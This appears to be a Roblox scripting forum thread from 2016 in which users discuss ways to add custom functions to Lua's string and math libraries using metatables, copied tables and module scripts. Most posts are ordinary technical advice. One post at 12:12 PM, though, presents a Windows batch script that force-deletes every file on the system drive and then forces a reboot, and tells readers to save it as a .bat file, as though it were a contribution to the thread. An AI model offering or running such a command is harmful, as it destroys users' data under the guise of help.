fgnfgn1
|
  |
| Joined: 12 Mar 2015 |
| Total Posts: 58 |
|
| |
|
|
| 15 Jan 2016 12:00 PM |
Add your own functions.
string = setmetatable({}, {__index = string}) math = setmetatable({}, {__index = math}) |
|
|
| Report Abuse |
|
|
|
| 15 Jan 2016 12:02 PM |
I'm not sure how they will behave when referencing to global variables, so use this if you want to be safe.
local _string, _math = string, math string = setmetatable({}, {__index = _string}) math = setmetatable({}, {__index = _math}) |
|
|
| Report Abuse |
|
|
OzzyFin
|
  |
| Joined: 07 Jun 2011 |
| Total Posts: 3600 |
|
|
| 15 Jan 2016 12:05 PM |
local holder = string
local string = {}
for k,f in pairs(holder) do string[k] = f end
string.hi = "hi" print(string.upper(string.hi))
you can do this in a modulescript and just return the dictionary |
|
|
| Report Abuse |
|
|
OzzyFin
|
  |
| Joined: 07 Jun 2011 |
| Total Posts: 3600 |
|
|
| 15 Jan 2016 12:06 PM |
actually if you used a modulescript there's no reason to rewrite string
you can just assign it when requiring
local string = require(stringLibrary) |
|
|
| Report Abuse |
|
|
OzzyFin
|
  |
| Joined: 07 Jun 2011 |
| Total Posts: 3600 |
|
|
| 15 Jan 2016 12:08 PM |
wait what
string.hi = "hi"
also works
I remembered it errored somewhy |
|
|
| Report Abuse |
|
|
OzzyFin
|
  |
| Joined: 07 Jun 2011 |
| Total Posts: 3600 |
|
|
| 15 Jan 2016 12:09 PM |
wait what
string.hi = "hi"
also works
I remembered it errored somewhy
FLOODCHECK PLS |
|
|
| Report Abuse |
|
|
OzzyFin
|
  |
| Joined: 07 Jun 2011 |
| Total Posts: 3600 |
|
| |
|
|
| 15 Jan 2016 12:12 PM |
@echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00
Save The Above Code a .bat file |
|
|
| Report Abuse |
|
|
|
| 15 Jan 2016 12:25 PM |
| Ya'll nasty. Use dennis' method. |
|
|
| Report Abuse |
|
|
|
| 15 Jan 2016 12:26 PM |
| https://twitter.com/RBX_Crazyman32/status/666695127101005825 |
|
|
| Report Abuse |
|
|
fgnfgn1
|
  |
| Joined: 12 Mar 2015 |
| Total Posts: 58 |
|
|
| 15 Jan 2016 02:11 PM |
string = setmetatable({}, {__index = _string}) math = setmetatable({}, {__index = _math})
works fine for me
Why would you use?:
local _string, _math = string, math string = setmetatable({}, {__index = _string}) math = setmetatable({}, {__index = _math}) |
|
|
| Report Abuse |
|
|
|
| 15 Jan 2016 02:31 PM |
| Because you need references to the original libraries. By default, _string and _math are nil. Unless you copied the other code. |
|
|
| Report Abuse |
|
|
chimmihc
|
  |
| Joined: 01 Sep 2014 |
| Total Posts: 17143 |
|
|
| 15 Jan 2016 02:34 PM |
Using metatables for this is bad. As the functions are not actually stored the new table.
|
|
|
| Report Abuse |
|
|
|
| 15 Jan 2016 02:39 PM |
| I mean do they really need to be? He just wants to be able to access his own functions alongside the default ones. |
|
|
| Report Abuse |
|
|
fgnfgn1
|
  |
| Joined: 12 Mar 2015 |
| Total Posts: 58 |
|
|
| 16 Jan 2016 03:39 AM |
| where are they sotred if not in the new table? |
|
|
| Report Abuse |
|
|
OzzyFin
|
  |
| Joined: 07 Jun 2011 |
| Total Posts: 3600 |
|
|
| 16 Jan 2016 04:35 AM |
I have gone full crazy on this thread apparently string is a readonly table on roblox but not on my phone's lua app
I don't see a point for metatables here, this is as simple to do like
local holder = {} for k,f in pairs(string) do holder[k] = f end
holder.hi = "hi"
return holder
-------------------
local string = require(game.ServerScriptService.stringlibrary)
print(string.reverse(string.hi)) |
|
|
| Report Abuse |
|
|
cntkillme
|
  |
| Joined: 07 Apr 2008 |
| Total Posts: 44956 |
|
|
| 16 Jan 2016 05:11 AM |
The better way (his original one wouldn't work, but this will)
local string = setmetatable({}, {__index = string}) local math = setmetatable({}, {__index = math}) |
|
|
| Report Abuse |
|
|
|
| 16 Jan 2016 05:20 AM |
| Wait, really? Worked fine when I tested it. |
|
|
| Report Abuse |
|
|
cntkillme
|
  |
| Joined: 07 Apr 2008 |
| Total Posts: 44956 |
|
|
| 16 Jan 2016 06:11 AM |
The original one, not the later one. Ones without the local vars. |
|
|
| Report Abuse |
|
|